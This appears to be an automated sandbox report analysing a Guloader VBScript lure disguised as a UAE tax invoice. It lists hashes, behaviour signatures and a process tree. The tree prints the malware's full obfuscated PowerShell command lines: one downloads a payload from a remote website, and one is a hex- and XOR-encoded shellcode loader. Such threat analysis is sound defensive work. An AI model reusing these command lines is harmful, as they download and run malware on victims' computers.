Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/05/2023, 18:26

General

  • Target

    TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs

  • Size

    34KB

  • MD5

    21a4e31b7ca2e4608bf43d2ad901edc3

  • SHA1

    b0e3f0ec85b343fb75bb00fe4fdb3945714d52d2

  • SHA256

    beda408709feea7d2023f328e9c97bf4d090bcfb3948fc4e4d9c5c580d8f5858

  • SHA512

    68686bfa80bc22521da952707aa38a7d3b0a1caedaef2c6ba436ddaa12bed2dbc41982e650945877ce633f26049dcbbfc946ba486c317b07e5be868ebe379fd2

  • SSDEEP

    768:7XDUAi25dFuE6dFxAi6EvM6bjUDSXjuISLDIca:7XQV0e76EqOMfa

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks QEMU agent file 2 TTPs 2 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" "Function Dodder9 ([String]$Bruttoindkomstens){For($Halvcirkel70=1; $Halvcirkel70 -lt $Bruttoindkomstens.Length-1; $Halvcirkel70+=(1+1)){$Intersqueezing=$Intersqueezing+$Bruttoindkomstens.Substring($Halvcirkel70, 1)};$Intersqueezing;}$Timbren=Dodder9 'ShCtSt p sH:M/ / b lMoAgG.TnOa cReTx . eHsU/SwbpH- cDoUn t eSn tE/Sp lSuPg i n sS/ DGRACCO OKO Lm/PFDiEn aOn sSeDk s pEe r t e rM.CaCs i ';$Intersqueezing01=Dodder9 'SiSekx ';$Intersqueezing00=Dodder9 'S$ DMoHd dAe r C=R M(XN e wS- OBb jRe cht NYeStD. WAeCb C lUiCe n tV) .EDEo wOn lPo aUdSS t rHiMnEgU(F$AT i mSbPr eEn ) ';.($Intersqueezing01) (Dodder9 ' $Dl iOs lBsE2 =E$Be nSvT: aspZpMd a tBa ') ;$lisls2=$lisls2+'\Afkappet.Cif';.($Intersqueezing01) (Dodder9 'A$BBIr uFdWzFo nIe = - nUoRtK( TPePsAtG-FPCaKtBhB C$Kl iBs lFsS2S) ') ;if ($Brudzone) {while ($Dodder -eq $Intersqueezing3) {.($Intersqueezing01) $Intersqueezing00;.($Intersqueezing01) (Dodder9 'TSBtRa r t -PSIl ePe pP P5 ');}.($Intersqueezing01) (Dodder9 ' S eItr-JCSoFnFtFeOn th $ l i s l s 2R O$ D o dPdHeJrD ');}.($Intersqueezing01) (Dodder9 'E$ D oPd dneBr = GDePt -ICtoPnltSe nPtU H$Cl i s lZsU2P ');.($Intersqueezing01) (Dodder9 'B$EPGa rIaTgDuTaKyUa n eHr n e sP =V O[WSMyasAtReRmR. C oLn vDe rStS]G:B:NFCr o mNB aSs e 6S4PSPt rCiRnsg ( $SDCoAd dBe r )G ');.($Intersqueezing01) (Dodder9 ' $PICnUtVeNr s qFuSe eQzGi n g 2c = S[ASSyAs t eAm . TPeKx t . E nRc o d i nvgs]F:R: A SCCSITIK. GSeStKSPtSr i nCg (S$KPBa r a gPu aCy aUnde r ndeTsP)T ');.($Intersqueezing01) (Dodder9 'L$FPAr oarVeTf o rXm =S$ ICn tSe r s qSuOeKeOzUi nFgS2G. s uKbDsItNrMi nSgC( 1S8 7S4S5 1E, 8 4A6S6 ) ');powershell $Proreform;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Pyridyl15202([String]$Likvidt) { $Lupin = [System.Byte[]]::CreateInstance([System.Byte],$Likvidt.Length / 2) $Oppression141 = (cmd /c 'echo 16') For($Lystfiskerforeninger=0; $Lystfiskerforeninger -lt $Likvidt.Length; $Lystfiskerforeninger+=2){ $Lupin[$Lystfiskerforeninger/2] = [convert]::ToByte($Likvidt.Substring($Lystfiskerforeninger, 2), $Oppression141) $Lupin[$Lystfiskerforeninger/2] = ($Lupin[$Lystfiskerforeninger/2] -bxor 15) } [String][System.Text.Encoding]::ASCII.GetString($Lupin) } $Proficiency0=Pyridyl15202 '5C767C7B6A62216B6363' $Proficiency1=Pyridyl15202 '42666C7D607C60697B215866613C3D215A617C6E696A416E7B66796A426A7B67606B7C' $Proficiency2=Pyridyl15202 '486A7B5F7D606C4E6B6B7D6A7C7C' $Proficiency3=Pyridyl15202 '5C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A69' $Proficiency4=Pyridyl15202 '7C7B7D666168' $Proficiency5=Pyridyl15202 '486A7B42606B7A636A476E616B636A' $Proficiency6=Pyridyl15202 '5D5B5C7F6A6C666E63416E626A232F47666B6A4D765C6668232F5F7A6D63666C' $Proficiency7=Pyridyl15202 '5D7A617B66626A232F426E616E686A6B' $Proficiency8=Pyridyl15202 '5D6A69636A6C7B6A6B4B6A636A686E7B6A' $Proficiency9=Pyridyl15202 '4661426A62607D7642606B7A636A' $Udtrttede2310=Pyridyl15202 '42764B6A636A686E7B6A5B767F6A' $Udtrttede2311=Pyridyl15202 '4C636E7C7C232F5F7A6D63666C232F5C6A6E636A6B232F4E617C664C636E7C7C232F4E7A7B604C636E7C7C' $Udtrttede2312=Pyridyl15202 '46617960646A' $Udtrttede2313=Pyridyl15202 '5F7A6D63666C232F47666B6A4D765C6668232F416A785C63607B232F59667D7B7A6E63' $Udtrttede2314=Pyridyl15202 '59667D7B7A6E634E6363606C' $Udtrttede2315=Pyridyl15202 '617B6B6363' $Udtrttede2316=Pyridyl15202 '417B5F7D607B6A6C7B59667D7B7A6E63426A62607D76' $Udtrttede2317=Pyridyl15202 '464A57' $Udtrttede2318=Pyridyl15202 '53' $Licinian=Pyridyl15202 '4C6E63635866616B60785F7D606C4E' function Pyridyl15205 ($Helaarsbeboelsers, $Clotter143) { $Rialto0 =Pyridyl15202 '2B58606969636A7D2F322F27544E7F7F4B60626E66615235354C7A7D7D6A617B4B60626E666121486A7B4E7C7C6A626D63666A7C27262F732F58676A7D6A22406D656A6C7B2F742F2B50214863606D6E634E7C7C6A626D63764C6E6C676A2F224E616B2F2B502143606C6E7B666061215C7F63667B272B5A6B7B7D7B7B6A6B6A3D3C3E372654223E52214A7E7A6E637C272B5F7D6069666C666A616C763F262F722621486A7B5B767F6A272B5F7D6069666C666A616C763E26' &($Udtrttede2317) $Rialto0 $Rialto5 = Pyridyl15202 '2B5D6661687C647D6A2F322F2B58606969636A7D21486A7B426A7B67606B272B5F7D6069666C666A616C763D232F545B767F6A5452522F4F272B5F7D6069666C666A616C763C232F2B5F7D6069666C666A616C763B2626' &($Udtrttede2317) $Rialto5 $Rialto1 = Pyridyl15202 '7D6A7B7A7D612F2B5D6661687C647D6A2146617960646A272B617A6363232F4F27545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A695227416A7822406D656A6C7B2F5C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21476E616B636A5D6A692727416A7822406D656A6C7B2F46617B5F7B7D26232F272B58606969636A7D21486A7B426A7B67606B272B5F7D6069666C666A616C763A26262146617960646A272B617A6363232F4F272B476A636E6E7D7C6D6A6D606A637C6A7D7C26262626232F2B4C63607B7B6A7D3E3B3C2626' &($Udtrttede2317) $Rialto1 } function Pyridyl15204 { Param ([Parameter(Position = 0)] [Type[]] $Micrurus,[Parameter(Position = 1)] [Type] $Unlush = [Void]) $Rialto2 = Pyridyl15202 '2B436E7F7C666D6663667B762F322F544E7F7F4B60626E66615235354C7A7D7D6A617B4B60626E6661214B6A6966616A4B76616E62666C4E7C7C6A626D63762727416A7822406D656A6C7B2F5C767C7B6A62215D6A69636A6C7B666061214E7C7C6A626D6376416E626A272B5F7D6069666C666A616C76372626232F545C767C7B6A62215D6A69636A6C7B666061214A62667B214E7C7C6A626D63764D7A66636B6A7D4E6C6C6A7C7C5235355D7A6126214B6A6966616A4B76616E62666C42606B7A636A272B5F7D6069666C666A616C7636232F2B696E637C6A26214B6A6966616A5B767F6A272B5A6B7B7D7B7B6A6B6A3D3C3E3F232F2B5A6B7B7D7B7B6A6B6A3D3C3E3E232F545C767C7B6A6221427A637B666C6E7C7B4B6A636A686E7B6A5226' &($Udtrttede2317) $Rialto2 $Rialto3 = Pyridyl15202 '2B436E7F7C666D6663667B76214B6A6966616A4C60617C7B7D7A6C7B607D272B5F7D6069666C666A616C7639232F545C767C7B6A62215D6A69636A6C7B666061214C6E63636661684C6061796A617B6660617C5235355C7B6E616B6E7D6B232F2B42666C7D7A7D7A7C26215C6A7B46627F636A626A617B6E7B66606149636E687C272B5F7D6069666C666A616C763826' &($Udtrttede2317) $Rialto3 $Rialto4 = Pyridyl15202 '2B436E7F7C666D6663667B76214B6A6966616A426A7B67606B272B5A6B7B7D7B7B6A6B6A3D3C3E3D232F2B5A6B7B7D7B7B6A6B6A3D3C3E3C232F2B5A61637A7C67232F2B42666C7D7A7D7A7C26215C6A7B46627F636A626A617B6E7B66606149636E687C272B5F7D6069666C666A616C763826' &($Udtrttede2317) $Rialto4 $Rialto5 = Pyridyl15202 '7D6A7B7A7D612F2B436E7F7C666D6663667B76214C7D6A6E7B6A5B767F6A2726' &($Udtrttede2317) $Rialto5 } $Marjory = Pyridyl15202 '646A7D616A633C3D' $Guttate=Pyridyl15202 '5A5C4A5D3C3D' $Pyridyl15203 = Pyridyl15202 '486A7B4C60617C60636A5866616B6078' $Pyridyl15200=Pyridyl15202 '5C6760785866616B6078' $Pyridyl15201 = Pyridyl15202 '2B4C60627F7D6A7C7C666D636A2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B487A7B7B6E7B6A2F2B5F767D666B76633E3A3D3F3F26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F545A46617B3C3D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Pyridyl15201 $Pyridyl15202 = Pyridyl15202 '2B446E7D6B6660687D6E62626A7B7C2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B426E7D65607D762F2B5F767D666B76633E3A3D3F3C26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Pyridyl15202 $Rialto7 = Pyridyl15202 '2B4460617C7A636E7B7C2F322F2B446E7D6B6660687D6E62626A7B7C2146617960646A273F26' &($Udtrttede2317) $Rialto7 $Rialto7 = Pyridyl15202 '2B4C60627F7D6A7C7C666D636A2146617960646A272B4460617C7A636E7B7C232F3F26' &($Udtrttede2317) $Rialto7 $Rialto6 = Pyridyl15202 '2B5C6C6760636E7D6366646A2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B426E7D65607D762F2B5A6B7B7D7B7B6A6B6A3D3C3E3B26232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F545A46617B3C3D52232F545A46617B3C3D52232F545A46617B3C3D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Rialto6 $Brystkasse = Pyridyl15205 $Udtrttede2315 $Udtrttede2316 $Rialto7 = Pyridyl15202 '2B42767D607B676E62616E6C6A607A7C3C2F322F2B5C6C6760636E7D6366646A2146617960646A275446617B5F7B7D523535556A7D60232F393B3E232F3F773C3F3F3F232F3F773B3F26' &($Udtrttede2317) $Rialto7 $Rialto8 = Pyridyl15202 '2B5C647A7D646A2F322F2B5C6C6760636E7D6366646A2146617960646A275446617B5F7B7D523535556A7D60232F373E393A38373A39232F3F773C3F3F3F232F3F773B26' &($Udtrttede2317) $Rialto8 .($Udtrttede2317) (Pyridyl15202 '2B42767D607B676E62616E6C6A607A7C3D322B6A6179356E7F7F6B6E7B6E') $Myrothamnaceous2=$Myrothamnaceous2+'\Afkappet.Cif' .($Udtrttede2317) (Pyridyl15202 '2B406E64626A6B3E373D2F322F486A7B224C60617B6A617B2F2B42767D607B676E62616E6C6A607A7C3D') .($Udtrttede2317) (Pyridyl15202 '2B5F6E7D6E687A6E766E616A7D616A7C2F322F545C767C7B6A62214C6061796A7D7B523535497D60624D6E7C6A393B5C7B7D666168272B406E64626A6B3E373D26') $Oakmed1820 = Pyridyl15202 '545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E635235354C607F76272B5F6E7D6E687A6E766E616A7D616A7C232F3F232F2F2B42767D607B676E62616E6C6A607A7C3C232F393B3E26' &($Udtrttede2317) $Oakmed1820 $Rialto9 = Pyridyl15202 '2B5D6A6160616C6A7D323E37383B3A3E22393B3E' &($Udtrttede2317) $Rialto9 $Oakmed1821 = Pyridyl15202 '545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E635235354C607F76272B5F6E7D6E687A6E766E616A7D616A7C232F393B3E232F2B5C647A7D646A232F2B5D6A6160616C6A7D26' &($Udtrttede2317) $Oakmed1821 $Oakmed1822 = Pyridyl15202 '2B5A7D6E617C6E686A6366686A7C2F322F545C767C7B6A62215D7A617B66626A2146617B6A7D607F5C6A7D79666C6A7C21426E7D7C676E63523535486A7B4B6A636A686E7B6A49607D497A616C7B6660615F6066617B6A7D27275F767D666B76633E3A3D3F3A2F2B487A7B7B6E7B6A2F2B43666C6661666E6126232F275F767D666B76633E3A3D3F3B2F4F275446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52232F5446617B5F7B7D52262F275446617B5F7B7D52262626' &($Udtrttede2317) $Oakmed1822 $Oakmed1823 = Pyridyl15202 '2B5A7D6E617C6E686A6366686A7C2146617960646A272B42767D607B676E62616E6C6A607A7C3C232B5C647A7D646A232B4D7D767C7B646E7C7C6A233F233F26' &($Udtrttede2317) $Oakmed1823"
        3⤵
        • Checks QEMU agent file
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo 16"
          4⤵
            PID:1896
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo 16"
            4⤵
              PID:3576
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo 16"
              4⤵
                PID:2260
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "echo 16"
                4⤵
                  PID:1700
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                  4⤵
                    PID:1452
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                    4⤵
                      PID:3964
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                      4⤵
                        PID:3172
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                        4⤵
                          PID:4140
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                          4⤵
                            PID:2168
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                            4⤵
                              PID:4284
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                              4⤵
                                PID:3364
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                4⤵
                                  PID:2540
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                  4⤵
                                    PID:2008
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                    4⤵
                                      PID:3992
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                      4⤵
                                        PID:1936
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                        4⤵
                                          PID:3816
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                          4⤵
                                            PID:3664
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                            4⤵
                                              PID:3648
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                              4⤵
                                                PID:2304
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                4⤵
                                                  PID:1852
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                  4⤵
                                                    PID:1112
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                    4⤵
                                                      PID:4780
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                      4⤵
                                                        PID:3396
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                        4⤵
                                                          PID:3920
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                          4⤵
                                                            PID:4676
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                            4⤵
                                                              PID:4972
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                              4⤵
                                                                PID:3312
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                4⤵
                                                                  PID:2816
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                  4⤵
                                                                    PID:2720
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                    4⤵
                                                                      PID:776
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                      4⤵
                                                                        PID:528
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                        4⤵
                                                                          PID:1164
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                          4⤵
                                                                            PID:3084
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                            4⤵
                                                                              PID:408
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                              4⤵
                                                                                PID:4612
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                4⤵
                                                                                  PID:3716
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                  4⤵
                                                                                    PID:4544
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                    4⤵
                                                                                      PID:4964
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                      4⤵
                                                                                        PID:1668
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                        4⤵
                                                                                          PID:4244
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                          4⤵
                                                                                            PID:3192
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                            4⤵
                                                                                              PID:2208
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                              4⤵
                                                                                                PID:4260
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                4⤵
                                                                                                  PID:3036
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                  4⤵
                                                                                                    PID:3764
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                    4⤵
                                                                                                      PID:1884
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                      4⤵
                                                                                                        PID:4312
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                        4⤵
                                                                                                          PID:1100
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                          4⤵
                                                                                                            PID:1324
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                            4⤵
                                                                                                              PID:4660
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                              4⤵
                                                                                                                PID:532
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                4⤵
                                                                                                                  PID:3956
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                  4⤵
                                                                                                                    PID:4560
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                    4⤵
                                                                                                                      PID:3908
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                      4⤵
                                                                                                                        PID:752
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                        4⤵
                                                                                                                          PID:4356
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                          4⤵
                                                                                                                            PID:2496
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                            4⤵
                                                                                                                              PID:2356
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                              4⤵
                                                                                                                                PID:1128
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                4⤵
                                                                                                                                  PID:1824
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                  4⤵
                                                                                                                                    PID:5004
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                    4⤵
                                                                                                                                      PID:2076
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                      4⤵
                                                                                                                                        PID:772
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                        4⤵
                                                                                                                                          PID:2012
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                          4⤵
                                                                                                                                            PID:2880
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                            4⤵
                                                                                                                                              PID:4816
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                              4⤵
                                                                                                                                                PID:3020
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                                4⤵
                                                                                                                                                  PID:1456
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1896
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c "echo 16"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:1956
                                                                                                                                                    • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                                      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:8
                                                                                                                                                      • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                                        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:32
                                                                                                                                                        • C:\Program Files (x86)\internet explorer\ieinstal.exe
                                                                                                                                                          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                                                                                                                                                          4⤵
                                                                                                                                                          • Checks QEMU agent file
                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                          • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                          PID:4460

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                    Filesize

                                                                                                                                                    53KB

                                                                                                                                                    MD5

                                                                                                                                                    d4d8cef58818612769a698c291ca3b37

                                                                                                                                                    SHA1

                                                                                                                                                    54e0a6e0c08723157829cea009ec4fe30bea5c50

                                                                                                                                                    SHA256

                                                                                                                                                    98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

                                                                                                                                                    SHA512

                                                                                                                                                    f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4h1vobi.zax.ps1

                                                                                                                                                    Filesize

                                                                                                                                                    60B

                                                                                                                                                    MD5

                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                    SHA1

                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                    SHA256

                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                    SHA512

